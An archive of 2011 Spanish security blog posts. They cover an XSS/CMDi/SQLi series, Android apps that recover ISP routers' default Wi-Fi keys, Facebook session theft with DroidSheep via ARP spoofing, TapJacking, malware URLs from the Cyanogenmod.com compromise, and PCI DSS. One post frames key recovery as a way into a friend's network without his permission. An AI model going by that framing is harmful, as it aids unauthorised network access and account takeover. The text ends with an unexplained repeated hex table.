Tanto en esta primera entrada como en las siguientes, trataré diferentes tipos de vulnerabilidades web con el objetivo de que veáis lo peligroso que puede llegar a ser cometer fallos de programación que permitan realizar inyecciones de código.

La primera vulnerabilidad de la que hablo es un Cross Site Scripting bastante "curioso" pero que es totalmente explotable y, como tal, debe ser evitado:

Crackeando un Hash Cracker (I): XSS con MD5
Crackeando un Hash Cracker (II): CMDi
Crackeando un Hash Cracker (III): SQLIi con MD5

¡Espero que os resulten interesantes!

¡Feliz 2012!

2011-12-31T19:12:00.001+01:00

2011 ha sido un gran año para La X marca el lugar. Ha sido el año en el que nació este proyecto y hemos conseguido hacernos un pequeño hueco en la Blogosfera.

A lo largo de estos meses hemos intentado compartir con vosotros nuestras experiencia y opinión, las noticias que hemos considerado más interesantes y algunas herramientas que hemos ido desarrollando.

Las siguientes son las cinco entradas más leídas de este año:

Con contenido como éste conseguimos colocarnos en un prometedor 15º puesto como Mejor Blog sobre Seguridad Informática en los Premios Bitácora 2011.

Ahora nos toca hacer los propósitos para el nuevo año, entre los que está seguir mejorando con la ayuda de todos vosotros para ofrecer un contenido más interesante. Para ello ya estamos colaborando en diferentes proyectos que os iremos presentando poco a poco.

En resumen...

¡Muchas gracias a todos por confiar en La X marca el lugar y que tengáis un Feliz Año 2012!

Jugando con la Wi-Fi desde Android (II)

2011-11-24T12:30:00.001+01:00

En la entrada anterior estuvimos viendo cómo la configuración de fábrica de los routers que venden los ISP españoles no tiene nada de segura. En esta entrada os vamos a mostrar, desde un punto de vista práctico, lo importante que es el uso de canales cifrados cuando estemos trabajando con datos confidenciales o sensibles.

B.E.A.S.T hizo que nos empezáramos a plantear la seguridad del uso de canales cifrados por medio de SSL y TLS, aunque la realidad es que para su explotación en la práctica hacen falta una serie de requisitos que lo hacen relativamente complejo. Además, la vulnerabilidad publicada que explota B.E.A.S.T. tan sólo afecta a algoritmos de cifrado por bloques, por lo que bastaría con definir el conjunto de algoritmos soportados por el servidor a únicamente los algoritmos de cifrado por flujo que soportan tanto SSL como TLS (versión 1).

Dejando a parte el tema de B.E.A.S.T., la realidad es que a día de hoy el uso de SSL y TLS es una necesidad básica en Internet. Gracias a estos protocolos podemos confiar que transacciones bancarias, acceso a datos personales o confidenciales, conexiones a servidores que almacenan información sensible... son "seguras".

No obstante, aunque ya todos los bancos y la mayoría de comercios electrónicos implementan estos protocolos para realizar las transacciones comerciales, existen multitud de sitios web que todavía no los utilizan o dan a elegir al usuario. De los que usamos a diario yo destacaría algunas redes sociales como Facebook, Twitter o tuenti.

Teniendo en cuenta que en estas redes sociales tendemos a publicar toda nuestra vida "con pelos y señales", el hecho de que alguien pudiera entrar en nuestra cuenta para hacerse pasar por nosotros, además de un delito podría significar un DESASTRE en nuestra vida social (en la de unos más que en la de otros...).

Lo que vengo a decir es que muy pocos usuarios están concienciados de lo importante que es marcar la casilla "Activar navegación segura" una vez que hemos creado nuestros perfiles en estos servicios. Y si tenemos en cuenta lo fácil que nos resultó acceder a la red del amigo que no nos quería dar la clave de su Wi-Fi en la entrada anterior, el robo de sesiones de alguno de estos servicios es igual de trivial y tan sólo nos llevará un par de minutos.

En el siguiente vídeo vamos a ver cómo utilizando la herramienta para Android DroidSheep, tardamos menos de un par de minutos en robar la sesión de un usuario de Facebook que está conectado a la misma red Wi-Fi que nosotros.

Para los que no conocen la herramienta, os la comento un poco por encima antes de que veáis lo fácil que es utilizarla. Lo que hace es ejecutar un ARP Spoofing para interponerse entre la puerta de enlace (el router) y los usuarios de una Wi-Fi, es decir, un ataque MitM. A partir de ese momento, comienza a capturar todo el tráfico rescatando cookies de sesión en servicios conocidos (y no conocidos) que va mostrando por pantalla conforme las va analizando. Después proporciona diferentes opciones para enviar la cookie a una cuenta de correo electrónico o, directamente, acceder a la cuenta capturada desde el navegador del móvil.

Conozco a más de una persona que se configuró la navegación segura después de que le enseñara lo que podía hacer desde el móvil... Espero que esta entrada sirva para concienciar a más usuarios de lo importante que es fijarnos en que las páginas en las que introducimos nuestros datos comienzan por https en lugar de por http.

Entradas anteriores:
Jugando con la Wi-Fi desde Android (I)

Otras entradas relacionadas:
Firesheep bajo Linux
FireSheep vs FireSheperd

Jugando con la Wi-Fi desde Android (I)

2011-11-14T07:30:00.000+01:00

Las nuevas tecnologías han conseguido que prácticamente todos llevemos en el bolsillo un teléfono que sea más potente que los ordenadores de hace unos pocos años. Además de la potencia de cálculo, los nuevos smartphones nos permiten transmitir información por medio de diversas tecnologías.

En esta serie de entradas, voy a hablaros de algunas cosas básicas que podemos hacer con nuestro teléfono Android a través de Wi-Fi y sin apenas esfuerzo.

Lo primero de todo es conectarnos a una red. Pero si estamos en la calle o en casa de alguien que no nos quiera decir su clave de la Wi-Fi porque no se fíe de nosotros... podríamos tener un problema. Por suerte, los ISPs españoles distribuyen routers Wi-Fi con contraseñas por defecto y que son fácilmente predecibles conociendo el BSSID (MAC del punto de acceso) y el ESSID de la red (el nombre).

Para obtener la clave de alguno de los puntos de acceso que nos rodean, podemos utilizar muchas herramientas. Yo voy a pasar a describir las que, por uno u otro motivo, a mí más me gustan...

La primera de ellas es pulWifi, cuya pantalla principal tiene el siguiente aspecto:

Como vemos la aplicación, divide las redes que detecta en dos colores: verde, que se corresponde con aquellas redes que están abiertas o de las que podemos obtener la clave fácilmente; y rojo, las redes de las que no puede recuperar la clave. También nos indica con un diagrama la potencia de la señal para que sepamos a cuál nos interesa más conectarnos.

Si pulsamos sobre cualquiera de las redes de las que queremos recuperar la clave nos aparece la siguiente ventana. En ella nos da la opción de ver cuál es la clave (útil si necesitas copiarla en algún lado) y de copiarla directamente en el portapapeles.

Si optamos por la opción de copiar la clave, nos abre directamente el panel de Ajustes Wi-Fi de Android, en donde tan sólo nos quedaría buscar cuál es la red a la que estamos intentando conectarnos y pegar la clave desde el portapapeles:

Cuando le demos tiempo para que se autentique comprobaremos que nos hemos conectado sin ningún problema:

Dependiendo del tipo de red que sea, es posible que no nos indique una sola clave sino un repertorio de las posibles (suelen ser 10). En este caso tendremos que ir probando con cada una de ellas hasta que demos con la correcta.

En general, pulWifi es capaz de recuperar la clave de redes WLAN_XXXX, WLANXXXXXX, YACOMXXXXXX, WIFIXXXXXX y JAZZTEL_XXXX (aunque de esta última no siempre es cierto, como vamos a ver un poco más adelante...).

Otra herramienta tan útil como la anterior es WLANAudit.

Algunas diferencias con pulWifi es que en WLANAudit no podemos saber de una manera rápida de qué redes podemos recuperar la clave, sino que tenemos que ir mirando red por red cuáles es capaz de romper:

Este problema no lo tiene, por ejemplo, Auditfi. En este caso, se nos permite mostrar tan sólo las redes vulnerables y nos las lista con toda la información que nos interesa: ESSID, clave, potencia y BSSID.

Como podéis ver en las imágenes, una de las redes vulnerables es del tipo JAZZTEL_XXXX, que es de la que se muestra la segunda captura con la clave. Aunque, por motivos evidentes, he tapado el nombre de la red, si volvéis a la primera captura de pulWifi y os fijáis en la primera de las que aparecen en rojo (de las que no puede recuperar la clave) veréis que se trata de la misma red.

Es por ello que os comentaba que pulWifi no siempre funciona con las redes JAZZTEL_XXXX. Sin embargo tanto Auditfi, como wifiPass las soportan a la perfección.

Esta última herramienta de las que os voy a hablar (wifiPass) es muy parecida a Auditfi. Aunque en este caso directamente sólo muestra las redes vulnerables sin ninguna más información. Pulsando sobre cada una de las redes vamos viendo las claves y copiándolas al portapapeles:

Éstas son, tan sólo, algunas de las muchas herramientas para Android que nos permiten auditar la seguridad de NUESTRA red Wi-Fi. Otros ejemplos son HHG5XX WEP scanner o Penetrate Pro, de la que no hace mucho hablaron en Seguridad Wireless.

Como veis, aunque los ISPs nos vendan que la seguridad de nuestra Wi-Fi es la correcta por estar utilizando WPA2, no tenemos que dejad de cambiar las contraseñas y ESSID por defecto que vienen con los routers.

Espero que os haya resultado interesante la entrada y os animo a que os pongáis en contacto con nosotros si conocéis alguna herramienta parecida.

Estrenamos página en Google+

2011-11-10T23:12:00.000+01:00

Con la llegada del concepto "página" a Google+ hemos creado un nuevo espacio en donde compartiremos noticias, publicaciones, nuevas herramientas, retos, curiosidades y muchas cosas más. Todo ello, eso sí, relacionado siempre con la Seguridad.

Para seguirnos, tan sólo tenéis que agregar a La X marca el lugar a alguno de vuestros círculos y estaréis al tanto de todo lo que vayamos publicando.

Os recordamos que también podéis seguirnos en Twitter (@laXmarcaellugar) y en Facebook.

TapJacking, un juego peligroso en Android

2011-11-07T07:50:00.001+01:00

En Android la gestión de permisos es llevada a cabo por el usuario, ya que al ser instaladas las aplicaciones somos nosotros mismos los que tenemos que decidir si otorgamos los permisos solicitados por la aplicación o si los denegamos, dando por cancelada la instalación.

Aquí un ejemplo:

De esta forma siempre vamos a ser conscientes o al menos vamos a tener una idea general, del el nivel de acceso a las funciones de nuestro terminal que puede llegar a tener cada aplicación.

Pero como el ingenio no tiene fin, se ha ideado una técnica de saltarse este paso, o mejor dicho, encubrirlo. Concretamente la técnica consiste en tener una aplicación que actúa de gancho (por ejemplo algún juego de habilidad) y que es transparente a las pulsaciones. Ya que nosotros vemos la aplicación gancho y tenemos la impresión de interaccionar con ella pero en realidad estaremos pulsando botones de una aplicación diferente que se encuentre en segundo plano.

Para poder hacer la trampa la aplicación gancho debe ser una notificación Toast modificada para que tenga apariencia de otra cosa, por ejemplo un juego. Este tipo de notificación en Android tiene la característica de dejar pasar los toques que se realizan en ella a la aplicación que este ejecutándose debajo. Por lo que teniendo la notificación constantemente en pantalla no se vería nada de lo que ocurre por detrás.

Esto permitiría al atacante todo tipo de libertad para hacer el mal, por ejemplo hacerte bajar un malware e instalarlo para obtener todas tus contraseñas, enviar SMS Premium y un sinfín de opciones más. Entre ellas, lo que comentábamos en un principio, camuflar la autorización de permisos por parte del usuario. Permitiendo que se instale cualquier cosa en su propio dispositivo sin saberlo.

Aquí podemos ver un vídeo de cómo funciona este sistema mediante una prueba de concepto:

Por suerte Google ya fue avisada del problema y ya han tomado cartas en el asunto. Por lo que a partir de la versión de Android 2.3, la GigerBread, ya no hay que preocuparse por este tema. Pero dada la disgregación de versiones que tiene Android y el poco soporte de actualizaciones que dan la mayoría de fabricantes y operadoras todavía existe un alto número de personas con este problema latente en sus terminales. ¿Eres tu uno de ellos?

Cyanogenmod.com malware spread

2011-10-20T14:18:00.000+02:00

Recently, the website Cyanogenmod.com has been compromised, and was spreading a piece of malware loaded from warlikedisobey.org/coehegzxw8xgahtrb, hosted on Indo Network Solutions, Scranton, Pennsylvania (USA) (66.197.158.102)

Whois info for 66.197.158.102

IP Information - 66.197.158.102

IP address:                     66.197.158.102
Reverse DNS:                    static-ip-102-158-197-66.host.cybernet.co.id.
ASN:                            21788
ASN Name:                       NOC
IP range connectivity:          7
Registrar (per ASN):            ARIN
Country (per IP registrar):     US [United States]
Country Currency:               USD [United States Dollars]
Country IP Range:               66.197.0.0 to 66.197.255.255
Country fraud profile:          Normal
City (per outside source):      Reno, Nevada
Country (per outside source):   US [United States]
Private (internal) IP?          No
IP address registrar:           whois.arin.net
Known Proxy?                    No

If we query on urlquery.net for the URL, we can see that this server has been used since 2011-09-27 to spread malware on multiple domains hosted.

2011-10-20 02:41:46 0 warlikedisobey.org/coehegzxw8xgahtrb 66.197.158.102
2011-10-11 01:20:45 0 warlikedisobey.org/osnp91icm/?5 66.197.158.102
2011-10-11 01:16:42 0 nestjolt.org/5gbd3jzxwfqjnp1eh/ 66.197.158.102
2011-10-11 01:14:31 0 nestjolt.org/5gbd3jzxwfqjnp1eh/ 66.197.158.102
2011-10-11 00:59:42 0 http://turbidworship.org/osnp91icm/?1 66.197.158.102
2011-10-06 20:24:52 0 nationearn.org 66.197.158.102
2011-09-27 12:45:01 0 http://starryplank.org/bp1tezzxwtauh 66.197.158.102
2011-09-27 12:35:14 0 http://starryplank.org/bp1tezzxwtauh 66.197.158.102
2011-09-27 12:02:07 0 http://starryplank.org/but3os0wp/ 66.197.158.102
2011-09-27 12:00:59 0 http://starryplank.org/but3os0wp/?3a75067eb1353ae040165 66.197.158.102

Its seems that Indo Network servers has been used to spread malware and spamming issues several times. If we search on the Proyect HoneyPot website for the offending IP, we can see that a number of servers withing Indo Network range has been used for spamming.

The cyanogenmod site has been target of attacks before,and maybe has been spreading malware quietly. These has been already commented on cyanogen's forum before (25 september 2011).

The original post at pastebin here

You should take a look at the last line of the following code:

Estándar de Seguridad de Datos para la industria de Tarjeta de Pago, estándar PCI

2011-10-03T12:32:00.001+02:00

PCI DSS (Payment Card Data Security Standar - Estándar de Seguridad de Datos para la industria de Tarjeta de Pago) es un estándar de seguridad en el que se definen medidas para la protección de datos sensibles que puedan aparecer durante el tratamiento, procesamiento o almacenamiento de la información de tarjetas de crédito.

Este estándar ha sido desarrollado por el PCI SSC (PCI Security Standards Council), formado por las principales empresas emisoras de tarjetas de crédito: Visa Inc., Mastercard Worldwide, American Express, JCB International y Discover Financial Services.

La finalidad de la creación de este estándar es asegurar los datos relacionados con las tarjetas de pago en las organizaciones que procesan, almacenan o tratan dicha información, para evitar el fraude relacionado con las tarjetas de crédito o débito. Las compañías que gestionan este tipo de datos deben cumplir con el estándar PCI, en caso de no cumplirlo deberán afrontar la pérdida del permiso para procesar las tarjetas, someterse a auditorías rigurosas o al pago de multas.

PCI SSC define además otros dos estándares: PCI-PTS y PA-DSS.

PCI-PTS se aplica a los dispositivos utilizados para la introducción del número PIN (Point-of-interaction devices), así como a los módulos hardware utilizados para el procesamiento de pagos y para autenticación de tarjetas:

Dispositivos de punto de interacción atendidos.
Cajeros automáticos.
Terminales de pago no atendidos (dispensadores de gasolinas automáticos, kioscos, etc.).

PA-DSS se aplica a las aplicaciones de pago de terceros que realizan operaciones de almacenamiento, procesamiento o transmisión de datos de tarjetas, como por ejemplo: puntos de venta, "shopping carts", etc.

PA-DSS gestiona las aplicaciones de operaciones de pago con el fin de asegurar que funcionan de acuerdo al estandar PCI-DSS, además colabora para la organización que utilice estas aplicaciones, cumplan PCI-DSS. El uso de aplicaciones PA-DSS no garantiza el cumplimiento PCI-DSS por parte de la organización.

Un asesor PCI-DSS debe verificar que la aplicación de pago está instalada en los sistemas de acuerdo a las instrucciones detalladas en la guía de implementación PA-DSS proporcionada por el vendedor y de acuerdo al estándar PCI-DSS.

¿Qué organizaciones deben cumplir PCI-DSS?

Todas aquellas organizaciones que participen en el procesamiento, transmisión o almacenamiento de información de tarjetas de cŕedito. PCI divide estas organizaciones en tres tipos:

Comercios (Merchants): super/hipermercados, e-commerce, etc.
Proveedores de Servicio (Service Providers): ISPs, pasarelas de pago, etc.
Entidades financieras (Acquirers): bancos, cajas de ahorro, entidades de crédito, etc.

En función del tipo de organización y de su nivel transaccional, a cada entidad se le asignará un nivel. Cada entidad emisora de tarjetas, de las 5 que conforman el consorcio, establece su conjunto de validaciones a realizar y los informes a entregar, en función del nivel de la organización.

Los niveles de los comercios vienen definidos por las empresas emisoras de tarjetas y por el volumen de transacciones realizadas con las entidades financieras. Los niveles de los proveedores de servicios vienen determinados por las empresas emisoras de tarjetas, por el comercio, por la entidad financiera.

La clasificación de Comercios por niveles es la siguiente:

Figura 1. Niveles de Comercios.

Sus requisitos de validación PCI:

Figura 2. Requisitos de validación de los niveles de Comercios.

Y la información que debe proporcionar para la validación es la siguiente:

Figura 3. Información para la validación de los niveles de comercio 1 y 2.

Figura 4. Información para la validación de los niveles de comercio 3 y 4.

En cuanto a los niveles de Proveedores de Servicio:

Figura 5. Niveles de Proveedores de Servicio.

Los requisitos de validación e informes de los Proveedores de Servicio son los siguientes:

Figura 6. Requisitos de validación e informes para los Proveedores de Servicio.

Estándar PCI-DSS 2.0

En la versión actual del estándar (versión 2.0) se especifican 12 requisitos para que una organización cumpla PCI-DSS, divididos en 6 objetivos de control.

Objetivo de Control 1: Desarrollar y Mantener una Red Segura

Instalar y mantener una configuración de cortafuegos para proteger los datos de los propietarios de tarjetas.
No usar contraseñas del sistema y otros parámetros de seguridad predeterminados provistos por los proveedores.

Objetivo de Control 2: Proteger los Datos de los propietarios de tarjetas

Proteger los datos almacenados de los propietarios de tarjetas.
Cifrar los datos de los propietarios de tarjetas e información confidencial transmitida a través de redes públicas abiertas.

Objetivo de Control 3: Mantener un Programa de Manejo de Vulnerabilidad

Usar y actualizar regularmente un software antivirus.
Desarrollar y mantener sistemas y aplicaciones seguras.

Objetivo de Control 4: Implementar Medidas sólidas de control de acceso

Restringir el acceso a los datos tomando como base la necesidad del funcionario de conocer la información.
Asignar una Identificación única a cada persona que tenga acceso a un computador.
Restringir el acceso físico a los datos de los propietarios de tarjetas.

Objetivo de Control 5: Monitorear y Probar regularmente las redes

Rastrear y monitorizar todo el acceso a los recursos de la red y datos de los propietarios de tarjetas.
Probar regularmente los sistemas y procesos de seguridad.

Objetivo de Control 6: Mantener una Política de Seguridad de la Información

Mantener una política que contemple la seguridad de la información

Estos requisitos combinados con diversos procedimientos de prueba dan lugar a una herramienta para el aseguramiento de los sistemas.

En una segunda entrega del blog, entraremos a comentar cada uno de estos requisitos más en profundidad.

d	s	f	d	;	k	f	o	A	,
64	73	66	64	3b	6b	66	6f	41	2c
.	i	y	e	w	r	k	l	d	J
2e	69	79	65	77	72	6b	6c	64	4a
K	D	H	S	U	B	s	g	v	c
4b	44	48	53	55	42	73	67	76	63
a	6	9	8	3	4	n	c	x
61	36	39	38	33	34	6e	63	78

d	s	f	d	;	k	f	o	A	,
64	73	66	64	3b	6b	66	6f	41	2c
.	i	y	e	w	r	k	l	d	J
2e	69	79	65	77	72	6b	6c	64	4a
K	D	H	S	U	B	s	g	v	c
4b	44	48	53	55	42	73	67	76	63
a	6	9	8	3	4	n	c	x
61	36	39	38	33	34	6e	63	78

d	s	f	d	;	k	f	o	A	,
64	73	66	64	3b	6b	66	6f	41	2c
.	i	y	e	w	r	k	l	d	J
2e	69	79	65	77	72	6b	6c	64	4a
K	D	H	S	U	B	s	g	v	c
4b	44	48	53	55	42	73	67	76	63
a	6	9	8	3	4	n	c	x
61	36	39	38	33	34	6e	63	78